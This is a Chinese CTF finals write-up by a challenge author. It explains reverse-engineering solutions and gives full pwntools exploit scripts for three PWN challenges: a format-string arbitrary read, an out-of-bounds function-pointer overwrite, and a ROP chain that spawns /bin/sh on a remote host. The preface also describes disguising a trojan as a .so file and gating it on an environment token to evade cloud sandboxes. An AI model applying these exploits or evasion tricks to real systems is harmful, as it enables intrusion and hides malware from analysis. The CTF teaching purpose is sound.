前言
这次决赛出题我主要是负责二进制方向的题目,PWN方向的题目难度在初赛的基础上降低了很多,逆向除了一道C++压轴,另外两道也属于比较简单的题。但做题情况却不尽人意,可能是进入决赛的二进制选手比较少吧😭
一开始是想自己设计整个ISW题目的,但后来由于本人Web水平有限只能写一个模板,然后当甩手掌柜把剩下的工作扔给Peppermint和D0wnBe@t了。当然他们也是不负众望,爆肝数天给大伙端上了一盘好菜!respect!
然后我也浅浅的参与了一下取证溯源题的出题工作,也就是那个🐴子。
随便写写的,由于没用什么危险函数所以不会被云沙箱报警。为了绕过云沙箱的运行时检测,特意在虚拟机环境整了个全局环境变量作为token
,如果不存在该token
就不会执行程序逻辑,所以云沙箱的检查报告就是安全+无任何网络行为
把🐴子伪装成so文件然后放到lib库当然也是我的点子hhhhh
考虑到静态编译会将程序流程复杂化,所以通信加密那块就是简单的base64换表
逆向
签到-asm
这道题是D0wnBe@t出的,汇编签到题
这一题只有一解我是无法接受的,可以联网意味着如果有看不懂的汇编指令可以直接搜,所以不存在读不懂指令这种情况吧?这道题写不出来,我觉得是没有任何借口可以找的
没有写出这道题的逆向手,虽然不想打击你但是你也许不太适合逆向。
逆向手的基本品质是细心与耐心,如果离开AI后你连沉下心去读汇编的耐心都没有,你大概真的不适合学逆向
来看汇编代码
前面这一段都是变量声明,无关紧要
str2:
.byte 0x58, 0x69, 0x4F, 0x5F, 0x52, 0x8C, 0x56, 0x8A, 0x89, 0x4D,
0x75, 0x7D, 0x4B, 0x49, 0x5F, 0x30, 0x71, 0x5C, 0x54, 0x2F,
0x76, 0x7E, 0x57, 0x38, 0x83, 0x79, 0x3A, 0x7D, 0x78, 0x6D,
0x80, 0x63, 0x8E, 0x8C, 0x8C, 0x68
.LC0:
.string "Input your flag: "
.LC1:
.string "%s"
.LC2:
.string "Congratulation!!!!!"
.LC3:
.string "Wrong \360\237\230\253\360\237\230\253\360\237\230\253"
下面这一块是主函数,这一块也很好懂
memset清理buf(rbp-48
),然后puts("Input your flag:")
,scanf("%s", buf)
,最后strlen(buf)
并将结果写到rbp-8
的内存,然后给rbp-4
写0
显然L2和L3之间就是循环体,也是程序的主要加密逻辑
看L2这一部分,他是循环体判断,做了什么操作呢?将[rbp-4]
和[rbp-8]
进行比较,若小于则进入循环体,[rbp-8]
是我们输入的数据长度,所以[rbp-4]
显然就是计数器变量
看汇编就是追踪寄存器和内存的变化
[rbp-48+rax]
这里的rax是计数器,所以这一段是获取当前字节然后给寄存器edx,再和计数器+1的值进行异或
这里是将获取当前字节然后-18给edx再写回当前字节
然后又是获取当前字节,lea edx, [rax+rax]
相当于将当前字节*2,再写回当前字节
最后获取当前字节,然后shr al
右移一位,相当于/2,并写回当前字节
所以上面那个操作就相当于-18,来看最后一段
这一段就是获取当前字节 + 33然后写回当前字节,最后将计数器+1写回内存
综合上面的信息然后写解密脚本即可
解密脚本
enc = bytes.fromhex("58694f5f528c568a894d757d4b495f30715c542f767e573883793a7d786d80638e8c8c68")
flag = ""
for (i, k) in enumerate(enc):
t = k-33+18
t ^= i+1
flag += chr(t)
print(flag)
衔尾蛇
这道题其实不难,但是爆零了。然后突然想到签到题都只有一解我又释怀地笑了🤓
pyc文件 python 3.12版本,pycdc无法直接反编译
这一题的本意是希望参赛选手能去阅读python字节码,其实python字节码和java字节码很类似,可读性已经比较高了(相较于汇编)
但是还是有一些在线网站能反编译得到部分python代码的
其实这个反编译结果已经把块加/解密算法和main主函数代码给反编译出来了,而且我只做了简单混淆,仅仅是将变量和函数名随机化,并没有打乱程序原有的执行流程,可以说已经把难度降得很低了
pycdas将pyc文件转换为python字节码,直接看主函数
我们用conda也好pipenv也好,安装一个python 3.12的环境就行,然后import pyc文件,就可以结合python函数查看pyc文件的一些信息了
那么可以得到xIKlYpGTnZYAFRoArraekVIiJLxaoLoT
是一个类,jVxJydnaBmmMhisqyMqdLbPggKlbLUoK
是一个函数
这一段就相当于JhhVTVVxBGrWuXPhdaUhkhvpzrZIlzRd = xIKlYpGTnZYAFRoArraekVIiJLxaoLoT(jVxJydnaBmmMhisqyMqdLbPggKlbLUoK(b'ilsb').encode("utf-8"))
,也就是类初始化,参数是jVxJydnaBmmMhisqyMqdLbPggKlbLUoK(b'ilsb').encode("utf-8")
,类对象储存到变量JhhVTVVxBGrWuXPhdaUhkhvpzrZIlzRd
那我们主动调用jVxJydnaBmmMhisqyMqdLbPggKlbLUoK
看看类初始化参数是什么
参数是’love’,我们也创建一个类a
下面这一段就是获取输入储存到变量uIiktNCOgCRgtyxtoxoYqOiOdSYYqyGH
,然后调用类iIHDUYHmORMaiRUFeNBKYwifiOeTKQKC
的方法,参数是输入的数据的’utf-8’编码,最后将结果返回到变量
lnJYUkkhGzKTelnFILGlrahMPeSvXApU
显然iIHDUYHmORMaiRUFeNBKYwifiOeTKQKC
是加密函数
然后将lnJYUkkhGzKTelnFILGlrahMPeSvXApU
和bytes.fromhex("486e6a6254287e7440be00ac667e1ea408be303622deecca")
比较
显然后者就是密文,我们跟踪一下加密函数,发现本地变量里有data
,这个是类方法的参数
在这个函数的后面有个结构差不多的函数叫BJDEVVCbUnhtFfUzymsUNSQljcgSsqul
,这个类方法的参数叫encrypted_data
,那么这个函数大概率就是解密函数
主动调用:
其实逆向那个块加密算法也不难,但我这里不想写了
def _decrypt_block(self, block: bytes) -> bytes:
block_int = int.from_bytes(block, byteorder='little')
mixed = ((block_int >> 1) | ((block_int & 1) << 31)) & 0xFFFFFFFF
key_int = int.from_bytes(self.key, byteorder='little')
decrypted = mixed ^ key_int
return decrypted.to_bytes(4, byteorder='little')
真·C++
这道是作为逆向压轴防AK的,所以零解在意料之中
其实这一题也就是考察C++的一些特性(STL容器,全局对象初始化等)
这里推荐所有学二进制的同学去看一看**《C++反汇编与逆向分析技术揭密》**这本书,里面详细讲解了C++面向对象的底层实现原理
先看主函数
仔细看会发现有些函数引用了不少bss段的变量,做C++逆向就要注意,这些很有可能就是全局对象
我们都知道对象都有构造和析构函数,那么全局对象的构造函数在哪呢?答案是init_array
这里我们能看到unk_C2A0
对象的初始化
前面那一段是初始化一个表然后用rand函数将它打乱,最后创建一个映射表
(unsigned __int8)(((unsigned int)(v5 >> 31) >> 24) + v5) - ((unsigned int)(v5 >> 31) >> 24);
这其实是编译器优化的结果,等同于v5 % 256
而后面那段是设置key
加密算法就是unsortedmap
实现的映射表替换+小改xtea算法
这里还玩了一个小trick,就是在加密的时候偷偷将密文替换掉了
解密脚本
由于Windows平台和Linux平台srand
函数使用随机数生成算法不同,所以请在linux平台下用GCC编译运行
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
int table[256];
void initTable(int* t)
{
int arr[256];
srand(0x31415);
for (int i = 0; i < 256; i++)
arr[i] = i;
for (int i = 0; i < 1000; i++)
{
int idx1 = rand() % 256;
int idx2 = rand() % 256;
int k = arr[idx1];
arr[idx1] = arr[idx2];
arr[idx2] = k;
}
for(int i = 0;i < 256;i++)
table[arr[i]] = i;
}
int key[] = {0x01234567, 0x89ABCDEF, 0xFEDCBA98, 0x76543210};
void xteaDecrypt(uint32_t* v)
{
const uint32_t delta = 0x6b63614a;
uint32_t v0 = v[0], v1 = v[1], sum = delta*32;
for (int i = 0; i < 32; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}
unsigned char enc[] = {0x62,0xf,0x62,0x6f,0xd7,0x16,0xf5,0x77,0x75,0xd4,0x10,0x7d,0xf5,0xe2,0xad,0x9b,0x36,0xbe,0xd7,0x82,0x46,0xfa,0xb0,0x8a,0x96,0xeb,0x94,0xc2,0x32,0xc7,0xde,0x20};
int main()
{
initTable(table);
for(int i = 0;i < 4;i++)
{
xteaDecrypt((uint32_t*)(enc+i*8));
}
for(int i = 0;i < 32;i++)
{
enc[i] = table[enc[i]];
}
printf("%s\n", enc);
return 0;
}
PWN
pwn题普遍比较简单就不细讲了
flagreader
程序一开始就泄露了libc地址,而且将flag读到了stdout + 0x520
的位置
vuln给了栈上格式化字符串漏洞,那么通过%s
就能实现任意地址读
exp:
from pwn import *
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
file = "./pwn"
#p = process(file)
elf = ELF(file, False)
p = remote("43.139.51.42", 38429)
ru("gift: ")
flagaddr = int(rc(14), 16) + 0x520
log("flag", flagaddr)
payload = b"%7$s " + p64(flagaddr)
sd(payload)
ia()
secret
看一下主函数,scanf输入的数据类型是有符号整数,函数指针的下标也是作为int来处理
能写80个字节到data段上,并且和函数指针表相邻
OK,一眼丁真:鉴定为数组负越界
exp:
from pwn import *
def get_sb():
return libc.sym['system'], next(libc.search(b'/bin/sh\x00'))
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
file = "./secret"
#p = process(file)
elf = ELF(file, False)
p = remote("43.139.51.42", 38272)
def menu(index):
sla(">> ", str(index))
payload = cyclic(72) + flat(0x4014A7)
menu(1)
sa("Input your text:", payload)
menu(2)
ru("Decrypted text:")
menu(0)
ia()
Alongrop
静态编译,这道题的思路就是利用gadgets将'/bin/sh\x00'
写入data段或者bss段,然后ret2syscall
无论你是用自动化工具生成ROPchain一把梭还是自己手搓都行
exp:
from pwn import *
from struct import pack
sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
uheap = lambda :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n :p.success('%s -> 0x%x' % (s, n))
context(arch = "amd64",os = "linux",log_level = "debug")
file = "./alongrop"
#p = process(file)
elf = ELF(file, False)
p = remote("43.139.51.42", 38273)
bss = elf.bss(0x400)
rax = 0x00000000004211eb
mov_rdx_rax = 0x000000000040a838 # mov qword ptr [rdx], rax; ret;
rsi_rbp = 0x0000000000404ed2
rdi_rbp = 0x0000000000402148
rdx = 0x000000000040190d # pop rdx; ret;
syscall = 0x000000000040b7e6
rop = flat(rdx, bss, rax, b"/bin/sh\x00", mov_rdx_rax) # write '/bin/sh\x00'
rop += flat(rdi_rbp, bss, bss, rsi_rbp, 0, bss, rdx, 0, rax, 59, syscall) # execve("/bin/sh", 0, 0)
sla("you ROPchain!", b'A'*(64+8) + rop)
ia()